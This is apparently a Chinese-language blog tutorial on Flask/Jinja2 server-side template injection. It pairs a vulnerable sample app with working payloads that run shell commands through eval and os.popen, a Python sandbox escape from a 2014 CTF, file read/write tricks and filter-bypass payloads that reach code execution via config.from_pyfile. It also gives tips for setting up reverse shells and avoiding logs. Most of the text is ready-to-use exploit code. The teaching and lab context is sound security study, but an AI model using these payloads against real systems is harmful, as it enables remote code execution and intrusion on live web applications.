Python-SSTI…

环境搭建-vulhub

FLask(Jinja2) SSTI

Source:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from flask import Flask, request
from jinja2 import Template
app = Flask(__name__)
@app.route("/")
def index():
name = request.args.get('name', 'guest')
t = Template("Hello " + name)
return t.render()
if __name__ == "__main__":
app.run()

漏洞触发点:t = Template("Hello " + name)

Payload(执行id命令,符合jinja2模板):

1
2
3
4
5
6
7
8
9
10
11
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("id").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}

Python2.7.13的Paylod:

1
[].__class__.__base__.__subclasses__()[60].__init__.__globals__.values()[13]['eval']('__import__("os").popen("id").read()')

精简的:

1
[].__class__.__base__.__subclasses__()[60].__init__.func_globals['linecache'].__dict__['os'].__dict__['system']('id')

题外:

2014CSAW-CTF2014CSAW-CTF的Python沙盒绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from __future__ import print_function
print("Welcome to my Python sandbox! Enter commands below!")
banned = [
"import",
"exec",
"eval",
"pickle",
"os",
"subprocess",
"kevin sucks",
"input",
"banned",
"cry sum more",
"sys"
]
targets = __builtins__.__dict__.keys()
targets.remove('raw_input')
targets.remove('print')
for x in targets:
del __builtins__.__dict__[x]
while 1:
print(">>>", end=' ')
data = raw_input()
for no in banned:
if no.lower() in data.lower():
print("Nobueno")
break
else: # this means nobreak
exec data

Payload:

1
[].__class__.__base__.__subclasses__()[60].__init__.func_globals['linecache'].__dict__['o'+'s'].__dict__['s'+'ystem']('id')


注:jinja需要直接执行Python代码,需要在模板环境中注册函数才能调用

后记

  1. Py2&Py3都可使用的Payload(Web上测试失败):

    1
    [a for a in [b for b in [c for c in [].__class__.__base__.__subclasses__() if c.__name__ == 'catch_warnings'][0].__init__.__globals__.values() if b.__class__ == {}.__class__ ] if 'eval' in a.keys() ][0]['eval']('__import__("os").popen("whoami").read()')
  2. Web中的Py是来之于docker的py3.5,同样无法采用具体的数组键名,发现测试__subclasses__[x]的值,会在同一个x时,在一个范围中发生变化.

  3. Py3的内置变量在重新进入Py3交互或执行脚本的时候会发生改变.

  4. Py3中,没有func_globals,变为使用__global__.values.

  5. Web上不能使用list函数对dict.values()进行操作.


0x01

环境:python 2.7.13

通过python内置的属性获取可以利用的对象.``

1
2
3
''.__class__
''.__class__.__mro__
''.__class__.__mro__[2].__subclasses__()

利用file类型进行文件读取和写入

1
2
''.__class__.__mro__[2].__subclasses__()[40]('1.txt').read()
''.__class__.__mro__[2].__subclasses__()[40]('2.txt','w').write('Write it!')

0x02

__mro__

1
2
3
class.__mro__
This attribute is a tuple of classes that are considered when looking for base classes during method resolution.
可以寻找到所有继承基类

__subclasses__

1
2
3
4
class.__subclasses__()
Each new-style class keeps a list of weak references to its immediate subclasses.
获取到一个包含所有存活引用的列表.
如果class是object,就可以获取到python的内置所有类

0x03

利用和注意事项

  1. Python3把file去除了;SSTI可以文件读取或python代码执行或命令执行

  2. 使用eval函数进行反弹shell的时候注意/bin/sh的软链接位置,如果为dash,修改为/bin/bash,先给/bin/sh做个备份,再执行ln -s /bin/bash /bin/sh.

  3. 可以通过对文件的操作达到反弹shell的目的.利用框架的request来获取请求头中自定义的数据(Use-Agent和Referer不会被记入日志),从而向文件写入自定义内容,进而利用config.from_pyfile来请求文件.–>参考地址

  4. Bypass–>参考地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
Jinja2下
Filter list & Bypass:
__class__
request.__class__:request["__class__"]、request|attr("__class__")
如果"会被HTML实体转义(如果开启safe)
{{request[request.args.param]}}&param=__class__
_
request.__class__:
{{request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join)}}&class=class&usc=_
[]
request.__class__:
{{request|attr((request.args.usc*2,request.args.class,request.args.usc*2)|join)}}&class=class&usc=_
{{request|attr(request.args.getlist(request.args.l)|join)}}&l=a&a=_&a=_&a=class&a=_&a=_
|join
request.__class__:
{{request|attr(request.args.class|format(request.args.a,request.args.a,request.args.a,request.args.a))}}&class=class&a=_
RCE:
{%set a,b,c,d,e,f,g,h,i=request|attr(request.args.class|format(request.args.a,request.args.a,request.args.a,request.args.a))|attr(request.args.mro|format(request.args.a,request.args.a,request.args.a,request.args.a))%}{{(i|attr(request.args.subc|format(request.args.a,request.args.a,request.args.a,request.args.a))()).pop(40)(request.args.file,request.args.write).write(request.args.payload)}}{{config.from_pyfile(request.args.file)}}&class=%s%sclass%s%s&mro=%s%smro%s%s&subc=%s%ssubclasses%s%s&usc=_&file=/tmp/foo.py&write=w&payload=print+1338&a=_

Tricks

  • GET: request.args
  • Cookies: request.cookies
  • Headers: request.headers
  • Environment: request.environ
  • Values: request.values
  • array[0]
  • array.pop(0)